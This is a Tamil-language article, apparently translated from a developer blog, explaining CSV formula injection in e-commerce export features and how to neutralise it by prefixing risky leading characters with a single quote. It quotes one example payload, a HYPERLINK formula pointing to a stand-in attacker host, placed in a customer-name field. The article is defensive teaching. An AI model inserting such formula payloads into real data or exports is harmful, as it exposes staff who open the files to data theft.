CSV Injection: குறியீட்டை இயக்கும் எக்ஸ்போர்ட் (Export) பொத்தான்

ஒரு வாடிக்கையாளர் தனது பெயரை உள்ளிடுகிறார். அவர்கள் =HYPERLINK("http://evil.example/leak", "click") என்று தட்டச்சு செய்கிறார்கள். உங்கள் அமைப்பு அதை ஏற்றுக்கொள்கிறது. அது சாதாரண உரையாகத் தெரிகிறது.

வாரங்களுக்குப் பிறகு, உங்கள் நிதித் குழு வாடிக்கையாளர் பட்டியலை CSV கோப்பாக எக்ஸ்போர்ட் செய்கிறது. அவர்கள் அந்த கோப்பை Excel-இல் திறக்கிறார்கள். அந்தச் செல் (cell) இனி உரை அல்ல. அது ஒரு ஃபார்முலா (formula).

இதுதான் CSV injection. இதை ஃபார்முலா injection என்றும் அழைக்கிறார்கள். இது இ-காமர்ஸ் (e-commerce) பேனல்களில் காணப்படும் ஒரு பொதுவான பிழை. பெரும்பாலான குழுக்கள் இதற்காகச் சோதனை செய்வதில்லை.

ஸ்பிரெட்ஷீட் (Spreadsheet) செயலிகள் ஒவ்வொரு செல்லையும் உரையாகக் கருதாது. ஒரு செல் =, +, -, அல்லது @ என்று தொடங்கினால், Excel அல்லது Google Sheets அதை ஒரு ஃபார்முலாவாக வாசிக்கும்.

ஒரு ஃபார்முலாவால் கணிதத்தைத் தாண்டிச் செய்ய முடியும். அது ஒரு URL-ஐ உருவாக்கலாம். ஒரு நெட்வொர்க்கைத் தொடர்பு கொள்ளலாம். சில சந்தர்ப்பங்களில், ஒரு கணினியில் கட்டளைகளை (commands) இயக்கலாம்.

தரவு உங்கள் தரவுத்தளத்தில் (database) உரையாகவே இருக்கும். ஒரு மனிதன் அந்த கோப்பைத் திறக்கும் தருணத்தில் அது இயங்கக்கூடியதாக மாறுகிறது. பொதுவாக, அதிக அணுகல் உரிமைகளைக் (access levels) கொண்ட ஒரு ஊழியரே இதற்குப் பலியாகிறார்.

நீங்கள் பயனர் தரவை எங்கு எக்ஸ்போர்ட் செய்கிறீர்களோ அங்கெல்லாம் ஆபத்து உள்ளது:

  • வாடிக்கையாளர் பெயர் மற்றும் முகவரி எக்ஸ்போர்ட்கள்
  • CSV-ஆக எக்ஸ்போர்ட் செய்யப்படும் ஆர்டர் பட்டியல்கள் (Order grids)
  • விற்பனையாளர்களிடமிருந்து வரும் தயாரிப்புத் தரவுகள் (Product feeds)
  • தொடர்பு படிவத் தரவுகள் (Contact form dumps)

ஒரு தாக்குதல்தாரருக்கு (attacker) அட்மின் அணுகல் தேவையில்லை. அவர்கள் தங்கள் பெயரை ஒரு ஃபார்முலாவாக அமைத்துவிட்டு காத்திருப்பார்கள்.

இதை இன்புட் வேலிடேஷன் (input validation) செய்யும் போது சரிசெய்ய முயற்சிக்காதீர்கள். ஒரு ஸ்பிரெட்ஷீட் அதை வாசிக்கும் வரை அந்த மதிப்பு முறையான உரையாகவே இருக்கும். அதற்குப் பதிலாக, நீங்கள் CSV கோப்பை எழுதும் போது தரவைச் சுத்திகரிக்கவும் (sanitize).

ஒரு செல் =, +, -, @, ஒரு tab அல்லது ஒரு carriage return கொண்டு தொடங்கினால், அதன் முன்னால் ஒரு ஒற்றை மேற்கோளை (single quote) சேர்க்கவும்.

உதாரண லாஜிக் (Example logic): மதிப்பு ஒரு தூண்டுதல் எழுத்தைக் (trigger character) கொண்டு தொடங்கினால், "'" + value என்பதைத் திருப்பிக் கொடுக்கவும்.

அந்த ஒற்றை மேற்கோள், அந்தச் செல்லைத் உரையாகக் கருதும்படி ஸ்பிரெட்ஷீட்டிற்குச் சொல்கிறது. ஸ்பிரெட்ஷீட் அந்த மேற்கோளை பயனரிடமிருந்து மறைத்துவிடும். ஒவ்வொரு புலத்தையும் (field) கோப்பிற்குள் செலுத்துவதற்கு முன் இந்தச் சோதனையைச் செய்யவும்.

உங்கள் தரவுத்தளத்தில் தரவை எஸ்கேப் (escape) செய்ய வேண்டாம். அந்த மதிப்பு உங்கள் தரவுத்தளத்திலும், உங்கள் HTML-லும் சரியாக இருக்கும். அது CSV-இல் மட்டுமே ஆபத்தானது. உங்கள் தரவு மற்ற இடங்களில் சுத்தமாக இருக்க, CSV எல்லையைப் (boundary) பாதுகாக்கவும்.

உங்கள் உள் எக்ஸ்போர்ட்களை (internal exports) நம்புவதை நிறுத்துங்கள். தாக்குதல்தாரர்கள் இந்த கோப்புகள் மூலம் உங்கள் ஊழியர்களை இலக்கு வைக்கிறார்கள்.

CSV injection பயமுறுத்தும் ஸ்கேனர் எச்சரிக்கைகளைத் தூண்டாது. நீங்கள் பல ஆண்டுகளுக்கு முன்பு உருவாக்கிய எக்ஸ்போர்ட் பொத்தானுக்குள் இது மறைந்திருக்கும். உங்கள் CSV எக்ஸ்போர்ட் குறியீட்டை இப்போதே சரிபார்க்கவும். ஒவ்வொரு செல்லின் முதல் எழுத்தையும் நீங்கள் பாதுகாக்கவில்லை என்றால், நீங்கள் ஆபத்தில் இருக்கிறீர்கள்.

ஆதாரம்: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6